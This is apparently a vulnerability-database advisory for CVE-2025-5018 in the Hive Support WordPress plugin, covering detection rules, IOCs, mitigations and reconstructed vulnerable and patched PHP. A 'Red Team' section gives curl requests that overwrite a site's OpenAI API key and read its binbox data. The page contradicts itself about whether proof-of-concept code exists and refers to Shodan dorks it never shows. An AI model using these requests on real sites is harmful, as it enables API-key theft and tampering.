CVE-2025-5018
Executive Summary
CVE-2025-5018 is a critical missing capability check vulnerability in the Hive Support WordPress plugin, affecting all versions up to and including 1.2.5. This flaw allows authenticated attackers with Subscriber-level access or higher to bypass authorization checks on the hs_update_ai_chat_settings() and hive_lite_support_get_all_binbox() functions. Successful exploitation enables unauthorized reading and overwriting of the site’s OpenAI API key, inspection data, and modification of AI-chat prompts and behavior. The vulnerability is potentially a duplicate of CVE-2025-32208 and/or CVE-2025-32242. No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Hive Support WordPress plugin, distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are affected. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High (OpenAI API key exposure)
- Integrity Impact: Low (AI prompt modification)
- Availability Impact: None
Threat Level: High. Although EPSS is low, the impact of API key theft is severe, potentially leading to financial loss or service abuse.
Deep Dive & Mechanics
The vulnerability resides in two functions within the Hive Support plugin:
hs_update_ai_chat_settings()– This function handles updating AI chat settings, including the OpenAI API key and prompt configuration. It lacks a capability check, allowing any authenticated user (Subscriber or above) to call it via AJAX or direct REST API endpoints.hive_lite_support_get_all_binbox()– This function retrieves inspection data (binbox contents). Without proper authorization, attackers can read sensitive data stored in the binbox.
Attack Flow:
- An attacker authenticates as a Subscriber (e.g., via a compromised account or self-registration).
- The attacker sends a crafted POST request to the vulnerable AJAX action (e.g.,
wp_ajax_hs_update_ai_chat_settings) with malicious parameters. - The plugin processes the request without verifying the user’s capabilities, updating the OpenAI API key or reading binbox data.
- The attacker can then exfiltrate the API key or modify AI prompts to perform phishing or data exfiltration.
Root Cause: Missing current_user_can() checks in the callback functions. WordPress AJAX handlers should verify capabilities like manage_options or edit_posts before processing sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.2.5):
// In class-ajax.php or similar
add_action('wp_ajax_hs_update_ai_chat_settings', 'hs_update_ai_chat_settings');
function hs_update_ai_chat_settings() {
// No capability check
update_option('hs_openai_api_key', sanitize_text_field($_POST['api_key']));
update_option('hs_ai_prompt', sanitize_textarea_field($_POST['prompt']));
wp_send_json_success();
}
add_action('wp_ajax_hive_lite_support_get_all_binbox', 'hive_lite_support_get_all_binbox');
function hive_lite_support_get_all_binbox() {
// No capability check
$data = get_option('hs_binbox_data', []);
wp_send_json_success($data);
}
Patched Code (Hypothetical):
add_action('wp_ajax_hs_update_ai_chat_settings', 'hs_update_ai_chat_settings');
function hs_update_ai_chat_settings() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
update_option('hs_openai_api_key', sanitize_text_field($_POST['api_key']));
update_option('hs_ai_prompt', sanitize_textarea_field($_POST['prompt']));
wp_send_json_success();
}
add_action('wp_ajax_hive_lite_support_get_all_binbox', 'hive_lite_support_get_all_binbox');
function hive_lite_support_get_all_binbox() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$data = get_option('hs_binbox_data', []);
wp_send_json_success($data);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with Hive Support plugin <= 1.2.5
- Valid Subscriber account credentials (e.g.,
user:pass)
Exploitation Steps:
Obtain Nonce (if required): Some AJAX actions may require a nonce. Extract it from the page source or use a valid session.
Overwrite OpenAI API Key:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=hs_update_ai_chat_settings&api_key=ATTACKER_KEY&prompt=Malicious%20prompt" \
--cookie "wordpress_logged_in_xxx=..."
- Read Binbox Data:
curl -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=hive_lite_support_get_all_binbox" \
--cookie "wordpress_logged_in_xxx=..."
Expected Output: The API key is overwritten, and binbox data is returned in JSON.
Blue Team
Detection & Response:
- Monitor for unexpected AJAX requests to
hs_update_ai_chat_settingsorhive_lite_support_get_all_binboxfrom low-privilege users. - Alert on changes to the
hs_openai_api_keyoption in the database. - Review user roles and remove unnecessary Subscriber accounts.
- Implement Web Application Firewall (WAF) rules to block requests to these endpoints from non-admin users.
Honeypot: Create a fake API key in the database and monitor for its usage externally.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/hive-support/includes/class-ajax.php(or similar) – presence of vulnerable code. - Database:
wp_optionstable entrieshs_openai_api_keyorhs_binbox_datamodified by non-admin users. - Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=hs_update_ai_chat_settingsoraction=hive_lite_support_get_all_binboxfrom IPs not associated with administrators. - Logs: WordPress debug log entries showing capability errors (if patched) or unexpected option updates.
Detection Engineering
YARA Rule
rule CVE_2025_5018_Hive_Support_Missing_Capability_Check {
meta:
description = "Detects vulnerable Hive Support plugin code missing capability checks"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-5018"
strings:
$func1 = "hs_update_ai_chat_settings"
$func2 = "hive_lite_support_get_all_binbox"
$no_check = "current_user_can" nocase
condition:
($func1 or $func2) and not $no_check
}
Sigma Rule
title: CVE-2025-5018 Hive Support AJAX Endpoint Abuse
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized access to Hive Support AJAX endpoints
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "action=hs_update_ai_chat_settings"
- "action=hive_lite_support_get_all_binbox"
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-5018 Hive Support AJAX Endpoint Abuse"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=hs_update_ai_chat_settings"; http_client_body; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-5018 Hive Support Binbox Read"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=hive_lite_support_get_all_binbox"; http_client_body; nocase; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and rotate any exposed OpenAI API keys immediately.
- Audit user accounts and remove any suspicious Subscriber-level users.
Long-term Fix:
- Apply the vendor patch when available (check WordPress plugin repository).
- Implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoints from non-admin users.
- Add custom capability checks via a mu-plugin:
add_action('wp_ajax_hs_update_ai_chat_settings', function() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
}, 1);
Workaround: If the plugin is essential, restrict access to the AJAX handlers using .htaccess:
<FilesMatch "admin-ajax\.php">
Require ip ADMIN_IP_RANGE
</FilesMatch>
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.